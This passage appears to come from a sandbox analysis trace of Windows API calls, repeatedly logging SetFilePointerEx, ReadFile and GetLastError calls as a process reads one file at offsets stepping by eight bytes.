hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.141] GetLastError () returned 0x0 [0069.141] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.141] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x548, lpOverlapped=0x0) returned 1 [0069.141] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.141] GetLastError () returned 0x0 [0069.141] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.142] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x540, lpOverlapped=0x0) returned 1 [0069.142] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.142] GetLastError () returned 0x0 [0069.142] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.142] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x538, lpOverlapped=0x0) returned 1 [0069.142] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.142] GetLastError () returned 0x0 [0069.142] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.142] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x530, lpOverlapped=0x0) returned 1 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.143] GetLastError () returned 0x0 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.143] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x528, lpOverlapped=0x0) returned 1 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.143] GetLastError () returned 0x0 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.143] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x520, lpOverlapped=0x0) returned 1 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.143] GetLastError () returned 0x0 [0069.143] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.144] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x518, lpOverlapped=0x0) returned 1 [0069.144] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.144] GetLastError () returned 0x0 [0069.144] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.144] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x510, lpOverlapped=0x0) returned 1 [0069.144] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.144] GetLastError () returned 0x0 [0069.144] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.144] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x508, lpOverlapped=0x0) returned 1 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.145] GetLastError () returned 0x0 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.145] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x500, lpOverlapped=0x0) returned 1 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.145] GetLastError () returned 0x0 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.145] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f8, lpOverlapped=0x0) returned 1 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.145] GetLastError () returned 0x0 [0069.145] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.146] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f0, lpOverlapped=0x0) returned 1 [0069.146] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.146] GetLastError () returned 0x0 [0069.146] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.146] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e8, lpOverlapped=0x0) returned 1 [0069.146] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.146] GetLastError () returned 0x0 [0069.146] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.146] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e0, lpOverlapped=0x0) returned 1 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] GetLastError () returned 0x0 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d8, lpOverlapped=0x0) returned 1 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] GetLastError () returned 0x0 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d0, lpOverlapped=0x0) returned 1 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.147] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c8, lpOverlapped=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c0, lpOverlapped=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b8, lpOverlapped=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b0, lpOverlapped=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a8, lpOverlapped=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.148] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a0, lpOverlapped=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x498, lpOverlapped=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x490, lpOverlapped=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x488, lpOverlapped=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.149] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x480, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x478, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x470, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x468, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x460, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.150] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x458, lpOverlapped=0x0) returned 1 [0069.150] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x450, lpOverlapped=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x448, lpOverlapped=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x440, lpOverlapped=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x438, lpOverlapped=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x430, lpOverlapped=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.151] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x428, lpOverlapped=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x420, lpOverlapped=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x418, lpOverlapped=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x410, lpOverlapped=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x408, lpOverlapped=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x400, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f8, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f0, lpOverlapped=0x0) returned 1 [0069.153] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.153] SetFilePointerEx (in: 